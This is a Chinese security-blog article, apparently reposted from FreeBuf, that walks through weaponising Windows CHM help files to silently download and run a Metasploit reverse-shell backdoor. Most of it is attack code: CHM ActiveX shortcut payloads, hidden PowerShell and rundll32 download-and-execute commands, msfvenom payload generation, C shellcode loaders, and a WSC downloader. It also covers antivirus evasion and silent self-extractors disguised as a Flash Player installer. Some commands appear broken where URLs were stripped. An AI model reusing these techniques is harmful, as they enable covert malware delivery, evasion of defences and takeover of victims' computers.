CHM渗透:从⼊门到“⼊狱”
某⽇嶽兄激动的说他的chm⾃动反弹shell做好了,急匆匆的拿我们测试,结果…⼀定是出bug了,我看了下演⽰(对不起,我实在编不下去了)。⽂章给出最终版代码,测试的⼼酸撸主右⼿可以作证。
第⼀章 CHM社⼯
当ithurricanept在发twitter的时候估计我在东北玩泥巴,看了Demo吓得我赶紧注册了个twitter并且Follow了TA。
Demo代码应该是这样的:
<OBJECT id=xclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1height=1>
<PARAM name="Command"value="ShortCut">
<PARAM name="Button"value="Bitmap::shortcut">
<PARAM name="Item1"value=','>
<PARAM name="Item2"value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
打开该CHM⽂件即弹出计算器,之后Samratashok也推出了他的Out-CHM(使⽤参数HHCPath指定⾃⼰的hhc路径),使⽤CHM执⾏powershell脚本,但唯⼀不⾜就是会弹出⿊框。
PS D:\nishang\Client> Import-Module.\Out-CHM.ps1
PS D:\nishang\Client> get-help Out-CHM -examples
##反编译CHM
hh -decompile test doc.chm
##Out-CHM PAYLOAD
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item2"value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
##有⽤链接
ithurricanept
HTML Help Workshop
nishang
第⼆章讨厌的⿊框
nishang的⿊框真的很让⼈捉急,不知道他到解决办法了没,但是国内聪明的Evi1cg在某个晚上突然就想到了,反正他是这么说的。
通过执⾏js
Rundll32漏洞配合JSRAT做出了近乎完美的后门,写⼊注册表即可实现开机启动。
注册脚本组件
< /u /n /s/i: scrobj.dll
##有⽤链接
evi1cg
从恶意软件获得的新姿势—通过执⾏js原理详细分析
JSRat
第三章强⼤的Powershell
但是我只想⽤它来下载⼀个后门并执⾏,于是乎开始了各种折腾。⾸先测试powershell的下载执⾏,然后嵌⼊rundll32测试,最后⽣成CHM再测试。
##Powershell下载并执⾏
powershell -WindowStyle hidden -nologo -noprofile-ep bypass IEX(New-Object Net.WebClient).DownloadFile('','..\\sn.exe');&cmd/c ..\\sn.exe
Powershell的下载可谓是五花⼋门,最后我还是选择了常⽤的DownloadFile(),将⽂件下载到上层⽬录(当C:\没有权限时powershell就会将⽂件直接下载到⽤户当前⽬录下;env:\temp环境变量在低版本powershell中没有;start-
process -nonewwindow ‘sn.exe’似乎不等待下载完成便会调⽤),并通过&符号连接命令运⾏下载的程序。
##嵌⼊rundll32
<,javascript:"\..\mshtml,RunHTMLApplication";document.write();r=new%20ActiveXObject("WScript.Shell").run("powershell-WindowStyle hidden -nologo -noprofile -ExecutionPolicy Bypass IEX (New-ObjectNet.WebClient).DownloadFile("","..\\sn.exe ##⽣成CHM
<OBJECT id=xclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1height=1>
<PARAM name="Command"value="ShortCut">
<PARAM name="Button"value="Bitmap::shortcut">
<PARAM name="Item2"value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
单双引号真的会把⼈逼疯的,在CHM中需⽤’代替双引号,尝试使⽤base64编码powershell命令,但是
嵌⼊rundll32测试语法错误,⼀时⽆解。
##有⽤链接
第四章 msf后门升级
CHM做好了,下⾯制作后门。开始选⽤新版cobaltstrike的DNS上线,结果域名测试都没问题,⽣的的马⼉就是不上线,⽆奈放弃。最后选择msf的reverse_tcp。
⽣成马⼉
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcplhost=192.168.6.12 lport=80 EXITFUNC=thread -e x86/shikata_ga_nai -b '\x00' -i3 -f exe -o / ⽣成shellcode
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp lhost=192.168.6.12 lport=80 -e x86/shikata_ga_nai -b'\x00' -i 3 -f c
##免杀
OWASP-ZSC
可以⽣成下载执⾏,添加⽤户,创建⽂件等的shellcode;
听说你可以混淆代码,原来只⽀持javascript perl php python ruby,更别说混淆现有shellcode了;
Veil-Evasion
使⽤现有payload⼀键⽣成可执⾏⽂件。有c,python,go,ruby的meterpreter反弹后门,go和python⽣成的可执⾏⽂件⾼⼤4M,还不如⾃⼰使⽤python ctypes加载shellcode,⽣成exe,实⽤价值不⼤。
C加载shellcode
传说中的C语⾔执⾏shellcode的五种⽅法只能在VC6.0下通过,VS⽤户真的伤不起。
VC6.0
main(){
( (void(*)(void))&shellcode )();
}
VS下
#include <Windows.h>
js代码加密软件#include <string.h>
#include <stdio.h>
unsigned char shellcode2[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff";
int main(){
PVOIDp;
p= VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(p != NULL){
//printf("allocok");
if(memcpy(p,shellcode,sizeof(shellcode))){
//printf("cpok");
//CreateThread(NULL,0, (LPTHREAD_START_ROUTINE )p, NULL, 0, NULL);
__asm
{
moveax,p;
jmpeax;
}
}
}
}
话说前两天有⼈发了(TM后来360也杀了),别紧张,那不是我。msf后⾯免杀⽅式多样,但⼀般也不外乎以下⼏点。
1,静态⽂件特征免杀
msfvenom -l encoders提供了多种编码⽅式,x86/shikata_ga_nai仍是⽬前excellent。但你⼀定会喜欢上Unest⼆进制代码混淆器的。
2,⾏为查杀
Cobaltstrike http上线⽅式请求的页⾯有固定格式,msf对传输的数据可以异或或者加密。
3,内存查杀
使⽤⾃解压程序安装服务
话说360看到是⾃解压程序就杀,果然是这样的。
##⾃解压程序折腾之静默模式
1,⾸先能想到的就是winrar,但是winrar⾃解压换个ico你都杀,⼀会⼉杀⼀会⼉不杀的尿性始终没变;
2,只要是加UPX壳就杀;
3, IExpress 打包啥都杀;
4, 7-ZIP SFX ⾃解压;
5, 新版真⼼好⽤,测试⼀会⼉直接杀;
6, ZIP 2 Secure EXE ⽤起来满满的⼼累;
7, WinZip Self-Extractor 完成后必须弹框是什么意思?
8,其他⽅式
最后还是选⽤rar的⾃解压,下载英⽂版各版本winrar,安装后复制⾥⾯的Default.SFX和保存,使⽤不通的rar版本⽣成⾃解压程序。
##⾃解压⽂件制作
创建Silent.sfx静默安装配置⽂件,其实就是注释啦。
程序传⼊bypass参数绕过UAC并安装服务
bypass
TempMode
Silent=1
Overwrite=2
命令⾏⽣成⾃解压⽂件
< a -r -ep1 -sfx-zSilent.sfx flashplayer23_
我以为到这⾥就完了,结果…
##有⽤链接
Creating a Self-Extracting Setup ExecutableFile
makesfx
Windows-Services-Application
第五章 WSC
朋友说吓了⼀⼤跳,等了半天也没见上线。再次本地测试,发现powershell被360卫⼠给拦截了,,这是啥时候开始的?⽆奈,为了过360只能抛弃powershell下载,使⽤wsc下载执⾏。
Windows Script Components (WSC),以前称为Scriplets,是⼀种以容易的⽅式开发强⼤的COM组件的技术。 WSC可以⽤任何实现了ActiveX脚本接⼝的脚本语⾔来编写,这意味着PerlScript代码单元可以封装为Windows脚本组件。
Tips:当你开始看WSC的时候可能会被它繁多的标签搞得云⾥雾⾥,你可以使⽤向导⽣成wsc⽂件,或者过⼀阵⼦再看。
##通过wsc启动计算器
test.wsc⽂件
<?xml version="1.0"?>
<component>
<script language="JScript">
<![CDATA[
newActiveXObject("WScript.Shell").Run("");
]]>
</script>
</component>
1.js⽂件
GetObject("script:C:\\test.wsc");
执⾏js
cscript 1.js
加载远程wsc,当然你也可以将下载js代码写在CHM⾥⾯,不过使⽤wsc代码更简洁并且可以及时更新下载程序。
GetObject("script:")
##下载并执⾏wsc脚本
<?xml version="1.0"?>
<component>
<?component error="false"debug="false"?>
<script language="JScript">
<![CDATA[
function getFile(strURL){
varstrResult;
try{
varWinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1")
WinHttpReq.Open("GET",strURL,false);
WinHttpReq.Send();
WinHttpReq.WaitForResponse();
strResult= WinHttpReq.ResponseBody;
}
catch(objError){}
returnstrResult;
}
var s = new ActiveXObject("ADODB.Stream");
var md = newActiveXObject("WScript.Shell").SpecialFolders("MyDocuments");
md +="\\flashplayer23_";
s.Mode=3;
s.Type=1;
s.Open();
try{
s.SaveToFile(md,2);
}
catch(err){}
s.Close();
try{
newActiveXObject("WScript.Shell").Run(md);
}
catch(err){}
]]>
</script>
</component>
##嵌⼊rundll32中
< javascript:"\..\mshtml,RunHTMLApplication";document.write();GetObject("script:");
##CHM PAYLOAD
<OBJECT id=xclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1height=1> <PARAM name="Command"value="ShortCut">
<PARAMname="Button" value="Bitmap::shortcut">
<PARAM name="Item2"value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
⽤我改版的makeCHM.ps1直接⽣成CHM⽂件
.\makeCHM.ps1 -FileName test.htm
实际打点效果(windows/shell/reverse_tcp 连接容易失去响应)
##有⽤链接
Windows Script Components (WSC)
Registering a Script Component
1,如何对CHM后门检测。
2,msf虽然简单易⽤,但是没有会话控制,很容易丢失⽬标,后期可以考虑⾃写回连shell代码。
3,对于“没给钱”的服务360卫⼠检测为“⽆需启动的程序”。
4,⾃解压逃不过360sd,考虑⾃写解压程序或者修改服务程序。
5,若有纰漏,还望指正。
*本⽂原创作者:ruo ,本⽂属FreeBuf原创奖励计划,未经许可禁⽌转载。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。